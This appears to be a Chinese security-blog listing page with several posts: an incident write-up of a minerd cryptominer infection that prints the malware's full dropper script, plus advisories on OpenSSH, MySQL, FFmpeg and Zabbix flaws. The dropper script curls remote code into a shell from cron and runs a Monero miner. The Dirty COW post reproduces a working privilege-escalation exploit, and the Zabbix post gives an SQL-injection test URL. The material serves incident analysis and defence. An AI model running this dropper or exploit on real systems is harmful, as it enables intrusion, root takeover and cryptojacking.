bug

bug

挖矿程序minerd入侵分析和解决

互联网资讯koyo 发表了文章 • 0 个评论 • 207 次浏览 • 2017-01-11 18:08 • 来自相关话题

发现问题

最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:




让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:




这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。




本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;




既然没用我继续google,在stackexchange找到如下解决方案:




各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

商业模式

被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

攻击&防御

植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。 查看全部


发现问题


最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:
UseCpu.png

让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:
minerd.png

这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。
wbug.png

本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;
crontab.png

既然没用我继续google,在stackexchange找到如下解决方案:
stackerror.png

各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。


商业模式


被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。


攻击&防御


植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。

OpenSSH 远程代码执行漏洞安全预警

开源技术Geek小A 发表了文章 • 0 个评论 • 135 次浏览 • 2016-12-22 15:27 • 来自相关话题

概述

12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 

影响范围

OpenSSH 5.0 – 7.3
 

修复方案

请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 

漏洞详情

CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708  查看全部
openssh.png


概述


12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 


影响范围


OpenSSH 5.0 – 7.3
 


修复方案


请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 


漏洞详情


CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708 

CVE-2016-5195脏牛漏洞:Linux内核通杀提权漏洞

开源技术Geek小A 发表了文章 • 0 个评论 • 338 次浏览 • 2016-10-21 12:17 • 来自相关话题

漏洞描述

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

为什么这个漏洞叫脏牛(Dirty COW)漏洞?

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

漏洞相关细节​

漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。

Linux各发行版本对于该漏洞相关信息

Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html

受影响的范围

这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

如何修改该漏洞

Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

如何发现有人利用该漏洞攻击我?

利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。

谁发现的这个漏洞?

Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/ 查看全部
dirtycow.jpeg


漏洞描述


漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


为什么这个漏洞叫脏牛(Dirty COW)漏洞?


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。


漏洞相关细节​


漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661
Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700
修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT
这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。


Linux各发行版本对于该漏洞相关信息


Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html


受影响的范围


这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


如何修改该漏洞


Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。


如何发现有人利用该漏洞攻击我?


利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。


谁发现的这个漏洞?


Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/

MySQL远程代码执行漏洞安全预警

开源技术Geek小A 发表了文章 • 0 个评论 • 218 次浏览 • 2016-10-11 13:53 • 来自相关话题

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
攻击者可以在配置文件中注入恶意配置;上传恶意的so到lib库中;db重启(重新加载恶意配置)。
 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 查看全部
bug.png

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:
MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52
PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
  1. 攻击者可以在配置文件中注入恶意配置;
  2. 上传恶意的so到lib库中;
  3. db重启(重新加载恶意配置)。

 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

FFMpeg和Zabbix暴露的漏洞

开源技术Geek小A 发表了文章 • 0 个评论 • 315 次浏览 • 2016-08-22 18:17 • 来自相关话题

一、FFMpeg缓冲区溢出高危漏洞安全预警

FFMpeg发布新版本,修复了之前版本存在的高危漏洞,请您及时修补。
 
影响范围:
FFMpeg <=3.1.1,且使用了swf解析模块。
 
修复方案:
升级到版本FFMpeg 3.1.2
 
漏洞详情:
FFMpeg在解码swf文件时存在一个缓冲区溢出高危漏洞(CVE-2016-6671)。漏洞主要存在于在对swf文件进行raw解码时,计算解码后的数据大小存在错误,导致写入数据的大小超过申请内存空间的大小,造成缓冲区内存溢出。该漏洞在一定条件下能导致任意代码执行。
 
参考:http://seclists.org/oss-sec/2016/q3/271
 

二、zabbix的SQL注入高危漏洞

近日,zabbix被爆出两个高危SQL注入漏洞,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
 
影响范围:
攻击成本:低
危害程度:高
是否登陆:不需要
影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
 
漏洞测试:
在zabbix的访问地址后面加上如下url:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1输出结果,出现如下图黄色关键字表示漏洞存在:




 
补充:
以上为仅为漏洞验证测试方式。攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。
 
修复方案:升级到最新版吧,据说3.0.4版本已经修补,但是我发现并没有,所以如果你是nginx,可以在server段加下面试试,然后打开日志,看看有没有误判,这是临时暴力解决方案
if ($request_uri ~ ^(.+\.php)(.*)$) {
set $req $2;
}
if ($req ~* "union[+|(%20)]") {
return 503;
}
if ($req ~* "and[+|(%20)]") {
return 503;
}
if ($req ~* "select[+|(%20)]") {
return 503;
}
 漏洞详情:
zabbix jsrpc.php的profileIdx2参数和latest.php的toggle_ids参数均存在SQL注入,属于高危漏洞。在开启Guest或者无用户的情况下不需要登录即可实现注入(默认开启Guest,且Guest默认密码为空);未开启Guest和有用户的情况下则需要鉴权通过方可实现注入。攻击者可以完全获取数据库中信息,获取管理员身份,甚至控制服务器权限。更多详情见:http://seclists.org/fulldisclosure/2016/Aug/82 查看全部


